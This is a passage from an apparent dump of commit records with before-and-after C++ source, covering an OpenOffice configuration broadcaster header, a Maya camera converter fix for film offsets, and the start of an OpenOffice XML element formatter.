Path::Equiv> Pathes;\n\n public:\n NodeListenerInfo(INodeListenerRef const& pListener)\n : m_pListener(pListener)\n {\n }\n\n \/\/ path handling\n Pathes const& pathList() const { return m_aPathes; }\n\n void addPath(AbsolutePath const& sPath) const { m_aPathes.insert(sPath); }\n void removePath(AbsolutePath const& sPath) const { m_aPathes.erase(sPath); }\n \/\/void removeChildPathes(OUString const& sPath);\n\n \/\/ behave as pointer for use as a 'reference' class\n INodeListenerRef get() const { return m_pListener; }\n INodeListenerRef operator->() const { return get(); }\n INodeListener& operator*() const { return *m_pListener; }\n \/\/ needed to allow if (info) ...\n struct HasListener;\n operator HasListener const*() const { return reinterpret_cast<HasListener*>(m_pListener.get()); }\n\n bool operator < (NodeListenerInfo const& aInfo) const\n { return std::less<INodeListener*>()(m_pListener.get(), aInfo.m_pListener.get()); }\n\n bool operator == (NodeListenerInfo const& aInfo) const\n { return !!( m_pListener == aInfo.m_pListener); }\n\n bool operator > (NodeListenerInfo const& aInfo) const\n { return aInfo.operator < (*this); }\n bool operator >= (NodeListenerInfo const& aInfo) const\n { return !operator<(aInfo); }\n bool operator <= (NodeListenerInfo const& aInfo) const\n { return !operator>(aInfo); }\n\n bool operator != (NodeListenerInfo const& aInfo) const\n { return !operator==(aInfo); }\n\n private:\n INodeListenerRef m_pListener;\n mutable Pathes m_aPathes; \/\/ hack to be mutable even as set element\n };\n class ConfigChangesBroadcasterImpl\n {\n public:\n ConfigChangesBroadcasterImpl();\n ~ConfigChangesBroadcasterImpl();\n\n void add(AbsolutePath const& aPath, INodeListenerRef const& pListener);\n void remove(INodeListenerRef const& pListener);\n\n\/\/ void removed(OUString const& aPath, bool bRemovedFromModel, IConfigBroadcaster* pSource);\n\n void dispatch(Change const& rBaseChange, AbsolutePath const& sChangeLocation, sal_Bool _bError, IConfigBroadcaster* pSource);\n void dispatch(TreeChangeList const& rList_, sal_Bool _bError, IConfigBroadcaster* pSource);\n void disposing(IConfigBroadcaster* pSource);\n private:\n typedef BroadcastImplHelper<NodeListenerInfo> Listeners;\n typedef Listeners::FullIterator InfoRef;\n typedef std::multimap<AbsolutePath, InfoRef, Path::Before> PathMap;\n Listeners m_aListeners;\n PathMap m_aPathMap;\n private:\n void dispatchInner(INodeListenerRef const& pTarget, AbsolutePath const& sTargetPath, Change const& rBaseChange, AbsolutePath const& sChangeLocation, sal_Bool _bError, IConfigBroadcaster* pSource);\n void dispatchOuter(INodeListenerRef const& pTarget, AbsolutePath const& sTargetPath, Change const& rBaseChange, AbsolutePath const& sChangeLocation, sal_Bool _bError, IConfigBroadcaster* pSource);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n } \/\/ namespace\n} \/\/ namespace\n\n#endif \/\/ CONFIGMGR_API_EVENTHELPERS_HXX_\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.11.16); FILE MERGED 2008\/04\/01 15:06:29 thb 1.11.16.3: #i85898# Stripping all external header guards 2008\/04\/01 12:27:08 thb 1.11.16.2: #i85898# Stripping all external header guards 2008\/03\/31 12:22:34 rt 1.11.16.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: confeventhelpers.hxx,v $\n * $Revision: 1.12 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef CONFIGMGR_API_EVENTHELPERS_HXX_\n#define CONFIGMGR_API_EVENTHELPERS_HXX_\n\n#include \"confevents.hxx\"\n#include \"configpath.hxx\"\n#include <com\/sun\/star\/uno\/RuntimeException.hpp>\n#include <osl\/diagnose.h>\n#include <osl\/mutex.hxx>\n\n#ifndef INCLUDED_MAP\n#include <map>\n#define INCLUDED_MAP\n#endif\n#ifndef INCLUDED_FUNCTIONAL\n#include <functional>\n#define INCLUDED_FUNCTIONAL\n#endif\n#include <hash_set>\n#ifndef INCLUDED_SET\n#include <set>\n#define INCLUDED_SET\n#endif\n\nnamespace configmgr\n{\n namespace internal\n {\n\n using namespace configuration;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <class ListenerRef>\n class BroadcastImplHelper\n {\n public:\n osl::Mutex mutex;\n\n public:\n BroadcastImplHelper()\n {}\n\n ~BroadcastImplHelper()\n {\n OSL_ENSURE(m_aInterfaces.empty(), \"Configuration Broadcaster was not disposed properly\");\n }\n\n public:\n typedef std::set<ListenerRef> Interfaces;\n typedef typename Interfaces::iterator FullIterator;\n typedef typename Interfaces::const_iterator Iterator;\n\n public:\n FullIterator addListener(ListenerRef aListener)\n {\n return m_aInterfaces.insert(aListener).first;\n }\n void removeListener(ListenerRef aListener)\n {\n m_aInterfaces.erase(aListener);\n }\n\n void disposing(IConfigBroadcaster* pSource);\n\n public:\n Iterator begin() const { return m_aInterfaces.begin(); }\n Iterator end() const { return m_aInterfaces.end(); }\n\n Iterator find(ListenerRef aListener) const { return m_aInterfaces.find(aListener); }\n FullIterator findFull(ListenerRef aListener) { return m_aInterfaces.find(aListener); }\n private:\n Interfaces m_aInterfaces;\n\n \/\/ no implementation - not copyable\n BroadcastImplHelper(BroadcastImplHelper&);\n void operator=(BroadcastImplHelper&);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template <class Listener>\n void BroadcastImplHelper<Listener>::disposing(IConfigBroadcaster* pSource)\n {\n osl::ClearableMutexGuard aGuard(this->mutex); \/\/ ensure that no notifications are running\n\n Interfaces aTargets;\n aTargets.swap(m_aInterfaces);\n\n aGuard.clear();\n for(FullIterator it = aTargets.begin(); it != aTargets.end(); )\n {\n FullIterator cur = it++;\n if (*cur)\n (*cur)->disposing(pSource);\n }\n }\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n class NodeListenerInfo\n {\n public:\n typedef std::hash_set<AbsolutePath, Path::Hash, Path::Equiv> Pathes;\n\n public:\n NodeListenerInfo(INodeListenerRef const& pListener)\n : m_pListener(pListener)\n {\n }\n\n \/\/ path handling\n Pathes const& pathList() const { return m_aPathes; }\n\n void addPath(AbsolutePath const& sPath) const { m_aPathes.insert(sPath); }\n void removePath(AbsolutePath const& sPath) const { m_aPathes.erase(sPath); }\n \/\/void removeChildPathes(OUString const& sPath);\n\n \/\/ behave as pointer for use as a 'reference' class\n INodeListenerRef get() const { return m_pListener; }\n INodeListenerRef operator->() const { return get(); }\n INodeListener& operator*() const { return *m_pListener; }\n \/\/ needed to allow if (info) ...\n struct HasListener;\n operator HasListener const*() const { return reinterpret_cast<HasListener*>(m_pListener.get()); }\n\n bool operator < (NodeListenerInfo const& aInfo) const\n { return std::less<INodeListener*>()(m_pListener.get(), aInfo.m_pListener.get()); }\n\n bool operator == (NodeListenerInfo const& aInfo) const\n { return !!( m_pListener == aInfo.m_pListener); }\n\n bool operator > (NodeListenerInfo const& aInfo) const\n { return aInfo.operator < (*this); }\n bool operator >= (NodeListenerInfo const& aInfo) const\n { return !operator<(aInfo); }\n bool operator <= (NodeListenerInfo const& aInfo) const\n { return !operator>(aInfo); }\n\n bool operator != (NodeListenerInfo const& aInfo) const\n { return !operator==(aInfo); }\n\n private:\n INodeListenerRef m_pListener;\n mutable Pathes m_aPathes; \/\/ hack to be mutable even as set element\n };\n class ConfigChangesBroadcasterImpl\n {\n public:\n ConfigChangesBroadcasterImpl();\n ~ConfigChangesBroadcasterImpl();\n\n void add(AbsolutePath const& aPath, INodeListenerRef const& pListener);\n void remove(INodeListenerRef const& pListener);\n\n\/\/ void removed(OUString const& aPath, bool bRemovedFromModel, IConfigBroadcaster* pSource);\n\n void dispatch(Change const& rBaseChange, AbsolutePath const& sChangeLocation, sal_Bool _bError, IConfigBroadcaster* pSource);\n void dispatch(TreeChangeList const& rList_, sal_Bool _bError, IConfigBroadcaster* pSource);\n void disposing(IConfigBroadcaster* pSource);\n private:\n typedef BroadcastImplHelper<NodeListenerInfo> Listeners;\n typedef Listeners::FullIterator InfoRef;\n typedef std::multimap<AbsolutePath, InfoRef, Path::Before> PathMap;\n Listeners m_aListeners;\n PathMap m_aPathMap;\n private:\n void dispatchInner(INodeListenerRef const& pTarget, AbsolutePath const& sTargetPath, Change const& rBaseChange, AbsolutePath const& sChangeLocation, sal_Bool _bError, IConfigBroadcaster* pSource);\n void dispatchOuter(INodeListenerRef const& pTarget, AbsolutePath const& sTargetPath, Change const& rBaseChange, AbsolutePath const& sChangeLocation, sal_Bool _bError, IConfigBroadcaster* pSource);\n };\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n } \/\/ namespace\n} \/\/ namespace\n\n#endif \/\/ CONFIGMGR_API_EVENTHELPERS_HXX_\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2007-2011, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"IECoreMaya\/FromMayaCameraConverter.h\"\n#include \"IECoreMaya\/Convert.h\"\n\n#include \"IECore\/CompoundParameter.h\"\n#include \"IECore\/Camera.h\"\n#include \"IECore\/MatrixTransform.h\"\n#include \"IECore\/AngleConversion.h\"\n\n#include \"maya\/MFnCamera.h\"\n#include \"maya\/MString.h\"\n#include \"maya\/MRenderUtil.h\"\n#include \"maya\/MCommonRenderSettingsData.h\"\n#include \"maya\/MDagPath.h\"\n\n#include \"OpenEXR\/ImathMath.h\"\n\nusing namespace IECoreMaya;\nusing namespace IECore;\nusing namespace Imath;\n\nIE_CORE_DEFINERUNTIMETYPED( FromMayaCameraConverter );\n\nFromMayaDagNodeConverter::Description<FromMayaCameraConverter> FromMayaCameraConverter::m_description( MFn::kCamera, CameraTypeId, true );\n\nFromMayaCameraConverter::FromMayaCameraConverter( const MDagPath &dagPath )\n\t:\tFromMayaDagNodeConverter( \"Converts maya camera shape nodes into IECore::Camera objects.\", dagPath )\n{\n\n\tIntParameter::PresetsContainer resolutionModePresets;\n\tresolutionModePresets.push_back( IntParameter::Preset( \"renderGlobals\", RenderGlobals ) );\n\tresolutionModePresets.push_back( IntParameter::Preset( \"specified\", Specified ) );\n\n\tm_resolutionMode = new IntParameter(\n\t\t\"resolutionMode\",\n\t\t\"Determines how the resolution of the camera is decided.\",\n\t\tRenderGlobals,\n\t\tRenderGlobals,\n\t\tSpecified,\n\t\tresolutionModePresets,\n\t\ttrue\n\t);\n\n\tparameters()->addParameter( m_resolutionMode );\n\n\tV2iParameter::PresetsContainer resolutionPresets;\n\tresolutionPresets.push_back( V2iParameter::Preset( \"2K\", Imath::V2i( 2048, 1556 ) ) );\n\tresolutionPresets.push_back( V2iParameter::Preset( \"1K\", Imath::V2i( 1024, 778 ) ) );\n\n\tm_resolution = new V2iParameter(\n\t\t\"resolution\",\n\t\t\"Specifies the resolution of the camera when mode is set to \\\"Specified\\\".\",\n\t\tImath::V2i( 2048, 1556 ),\n\t\tresolutionPresets\n\t);\n\n\tparameters()->addParameter( m_resolution );\n\n}\n\nIECore::ObjectPtr FromMayaCameraConverter::doConversion( const MDagPath &dagPath, IECore::ConstCompoundObjectPtr operands ) const\n{\n\tMFnCamera fnCamera( dagPath );\n\n\t\/\/ convert things that are required by the IECore::Renderer specification\n\n\tCameraPtr result = new Camera;\n\tresult->setName( IECore::convert<std::string>( fnCamera.name() ) );\n\n\tresult->setTransform( new MatrixTransform( IECore::convert<Imath::M44f>( dagPath.inclusiveMatrix() ) ) );\n\n\tV2i resolution;\n\tif( operands->member<IntData>( \"resolutionMode\" )->readable()==RenderGlobals )\n\t{\n\t\tMCommonRenderSettingsData renderSettings;\n\t\tMRenderUtil::getCommonRenderSettings( renderSettings );\n\t\tresolution = Imath::V2i( renderSettings.width, renderSettings.height );\n\t}\n\telse\n\t{\n\t\tresolution = operands->member<V2iData>( \"resolution\" )->readable();\n\t}\n\tresult->parameters()[\"resolution\"] = new V2iData( resolution );\n\n\tImath::V2f clippingPlanes = Imath::V2f( fnCamera.nearClippingPlane(), fnCamera.farClippingPlane() );\n\tresult->parameters()[\"clippingPlanes\"] = new V2fData( clippingPlanes );\n\n\tImath::Box2d frustum;\n\tfnCamera.getRenderingFrustum( (float)resolution.x \/ (float)resolution.y, frustum.min.x, frustum.max.x, frustum.min.y, frustum.max.y );\n\n\tif( fnCamera.isOrtho() )\n\t{\n\t\t\/\/ orthographic\n\t\tresult->parameters()[\"projection\"] = new StringData( \"orthographic\" );\n\t\tresult->parameters()[\"screenWindow\"] = new Box2fData( Box2f( frustum.min, frustum.max ) );\n\t}\n\telse\n\t{\n\t\t\/\/ perspective\n\t\tresult->parameters()[\"projection\"] = new StringData( \"perspective\" );\n\n\t\t\/\/ derive horizontal field of view from the viewing frustum\n\t\tfloat fov = Math<double>::atan( frustum.max.x \/ clippingPlanes[0] ) * 2.0f;\n\t\tfov = radiansToDegrees( fov );\n\t\tresult->parameters()[\"projection:fov\"] = new FloatData( fov );\n\n\t\t\/\/ scale the frustum so that it's -1,1 in x and that gives us the screen window\n\t\tfloat frustumScale = 2.0f\/(frustum.max.x - frustum.min.x);\n\t\tBox2f screenWindow( V2f( -1, frustum.min.y * frustumScale ), V2f( 1, frustum.max.y * frustumScale ) );\n\t\tresult->parameters()[\"screenWindow\"] = new Box2fData( screenWindow );\n\t}\n\n\t\/\/ and add on other bits and bobs from maya attributes as blind data\n\tCompoundDataPtr maya = new CompoundData;\n\tresult->blindData()->writable()[\"maya\"] = maya;\n\tmaya->writable()[\"aperture\"] = new V2fData( Imath::V2f( fnCamera.horizontalFilmAperture(), fnCamera.verticalFilmAperture() ) );\n\n\treturn result;\n}\n<commit_msg>Fixed FromMayaCameraConverter to account for non-zero film offsets.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2007-2015, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"IECoreMaya\/FromMayaCameraConverter.h\"\n#include \"IECoreMaya\/Convert.h\"\n\n#include \"IECore\/CompoundParameter.h\"\n#include \"IECore\/Camera.h\"\n#include \"IECore\/MatrixTransform.h\"\n#include \"IECore\/AngleConversion.h\"\n\n#include \"maya\/MFnCamera.h\"\n#include \"maya\/MString.h\"\n#include \"maya\/MRenderUtil.h\"\n#include \"maya\/MCommonRenderSettingsData.h\"\n#include \"maya\/MDagPath.h\"\n\n#include \"OpenEXR\/ImathMath.h\"\n\nusing namespace IECoreMaya;\nusing namespace IECore;\nusing namespace Imath;\n\nIE_CORE_DEFINERUNTIMETYPED( FromMayaCameraConverter );\n\nFromMayaDagNodeConverter::Description<FromMayaCameraConverter> FromMayaCameraConverter::m_description( MFn::kCamera, CameraTypeId, true );\n\nFromMayaCameraConverter::FromMayaCameraConverter( const MDagPath &dagPath )\n\t:\tFromMayaDagNodeConverter( \"Converts maya camera shape nodes into IECore::Camera objects.\", dagPath )\n{\n\n\tIntParameter::PresetsContainer resolutionModePresets;\n\tresolutionModePresets.push_back( IntParameter::Preset( \"renderGlobals\", RenderGlobals ) );\n\tresolutionModePresets.push_back( IntParameter::Preset( \"specified\", Specified ) );\n\n\tm_resolutionMode = new IntParameter(\n\t\t\"resolutionMode\",\n\t\t\"Determines how the resolution of the camera is decided.\",\n\t\tRenderGlobals,\n\t\tRenderGlobals,\n\t\tSpecified,\n\t\tresolutionModePresets,\n\t\ttrue\n\t);\n\n\tparameters()->addParameter( m_resolutionMode );\n\n\tV2iParameter::PresetsContainer resolutionPresets;\n\tresolutionPresets.push_back( V2iParameter::Preset( \"2K\", Imath::V2i( 2048, 1556 ) ) );\n\tresolutionPresets.push_back( V2iParameter::Preset( \"1K\", Imath::V2i( 1024, 778 ) ) );\n\n\tm_resolution = new V2iParameter(\n\t\t\"resolution\",\n\t\t\"Specifies the resolution of the camera when mode is set to \\\"Specified\\\".\",\n\t\tImath::V2i( 2048, 1556 ),\n\t\tresolutionPresets\n\t);\n\n\tparameters()->addParameter( m_resolution );\n\n}\n\nIECore::ObjectPtr FromMayaCameraConverter::doConversion( const MDagPath &dagPath, IECore::ConstCompoundObjectPtr operands ) const\n{\n\tMFnCamera fnCamera( dagPath );\n\n\t\/\/ convert things that are required by the IECore::Renderer specification\n\n\tCameraPtr result = new Camera;\n\tresult->setName( IECore::convert<std::string>( fnCamera.name() ) );\n\n\tresult->setTransform( new MatrixTransform( IECore::convert<Imath::M44f>( dagPath.inclusiveMatrix() ) ) );\n\n\tV2i resolution;\n\tif( operands->member<IntData>( \"resolutionMode\" )->readable()==RenderGlobals )\n\t{\n\t\tMCommonRenderSettingsData renderSettings;\n\t\tMRenderUtil::getCommonRenderSettings( renderSettings );\n\t\tresolution = Imath::V2i( renderSettings.width, renderSettings.height );\n\t}\n\telse\n\t{\n\t\tresolution = operands->member<V2iData>( \"resolution\" )->readable();\n\t}\n\tresult->parameters()[\"resolution\"] = new V2iData( resolution );\n\n\tImath::V2f clippingPlanes = Imath::V2f( fnCamera.nearClippingPlane(), fnCamera.farClippingPlane() );\n\tresult->parameters()[\"clippingPlanes\"] = new V2fData( clippingPlanes );\n\n\tImath::Box2d frustum;\n\tfnCamera.getRenderingFrustum( (float)resolution.x \/ (float)resolution.y, frustum.min.x, frustum.max.x, frustum.min.y, frustum.max.y );\n\n\tif( fnCamera.isOrtho() )\n\t{\n\t\t\/\/ orthographic\n\t\tresult->parameters()[\"projection\"] = new StringData( \"orthographic\" );\n\t\tresult->parameters()[\"screenWindow\"] = new Box2fData( Box2f( frustum.min, frustum.max ) );\n\t}\n\telse\n\t{\n\t\t\/\/ perspective\n\t\tresult->parameters()[\"projection\"] = new StringData( \"perspective\" );\n\n\t\t\/\/ derive horizontal field of view from the viewing frustum\n\t\tfloat horizontalFrustumOffset = frustum.max.x - (frustum.max.x - frustum.min.x) \/ 2.0f;\n\t\tfloat fov = Math<double>::atan( (frustum.max.x - horizontalFrustumOffset) \/ ( clippingPlanes[0] ) ) * 2.0f;\n\t\tfov = radiansToDegrees( fov );\n\t\tresult->parameters()[\"projection:fov\"] = new FloatData( fov );\n\n\t\t\/\/ scale the frustum so that it's -1,1 in x and that gives us the screen window\n\t\tfloat frustumScale = 2.0f\/(frustum.max.x - frustum.min.x);\n\t\tBox2f screenWindow( V2f( -1 + (horizontalFrustumOffset * frustumScale), frustum.min.y * frustumScale ), V2f( 1 + (horizontalFrustumOffset * frustumScale), frustum.max.y * frustumScale ) );\n\t\tresult->parameters()[\"screenWindow\"] = new Box2fData( screenWindow );\n\t}\n\n\t\/\/ and add on other bits and bobs from maya attributes as blind data\n\tCompoundDataPtr maya = new CompoundData;\n\tresult->blindData()->writable()[\"maya\"] = maya;\n\tmaya->writable()[\"aperture\"] = new V2fData( Imath::V2f( fnCamera.horizontalFilmAperture(), fnCamera.verticalFilmAperture() ) );\n\n\treturn result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: elementformatter.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: ssmith $ $Date: 2002-10-21 13:17:59 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2002 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include \"elementformatter.hxx\"\n\n#ifndef CONFIGMGR_XML_STRINGS_HXX_\n#include \"xmlstrings.hxx\"\n#endif\n\n#ifndef CONFIGMGR_TYPECONVERTER_HXX\n#include \"typeconverter.hxx\"\n#endif\n#ifndef CONFIGMGR_MISC_ATTRIBUTELIST_HXX\n#include \"attributelist.hxx\"\n#endif\n\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\n#include <drafts\/com\/sun\/star\/configuration\/backend\/SchemaAttribute.hpp>\n#include <drafts\/com\/sun\/star\/configuration\/backend\/NodeAttribute.hpp>\n\n\/\/ -----------------------------------------------------------------------------\n\nnamespace configmgr\n{\n\/\/ -----------------------------------------------------------------------------\n namespace xml\n {\n\/\/ -----------------------------------------------------------------------------\n namespace uno = ::com::sun::star::uno;\n namespace sax = ::com::sun::star::xml::sax;\n\/\/ -----------------------------------------------------------------------------\n\nElementFormatter::ElementFormatter()\n: m_aElementType(ElementType::unknown)\n, m_xAttributes()\n{\n}\n\/\/ -----------------------------------------------------------------------------\n\nElementFormatter::~ElementFormatter()\n{\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::reset()\n{\n m_aElementType = ElementType::unknown;\n m_xAttributes.clear();\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addAttribute(OUString const & _anAttributeName, OUString const & _aValue)\n{\n OSL_PRECOND(m_xAttributes.is(),\"Trying to add an attribute to a non-existing list\");\n\n m_xAttributes->addAttribute(_anAttributeName,\n XML_ATTRTYPE_CDATA,\n _aValue);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addAttribute(OUString const & _anAttributeName, bool _bValue)\n{\n OSL_PRECOND(m_xAttributes.is(),\"Trying to add an attribute to a non-existing list\");\n\n m_xAttributes->addAttribute(_anAttributeName,\n XML_ATTRTYPE_CDATA,\n _bValue ? ATTR_VALUE_TRUE : ATTR_VALUE_FALSE);\n}\n\/\/ -----------------------------------------------------------------------------\n\nvoid ElementFormatter::addNamespaces()\n{\n static OUString const sNamespaceDecl( RTL_CONSTASCII_USTRINGPARAM(\"xmlns:\") );\n\n addAttribute( sNamespaceDecl.concat(NS_PREFIX_OOR), static_cast<OUString const &>(NS_URI_OOR));\n addAttribute( sNamespaceDecl.concat(NS_PREFIX_XS ), static_cast<OUString const &>(NS_URI_XS ));\n}\n\/\/ 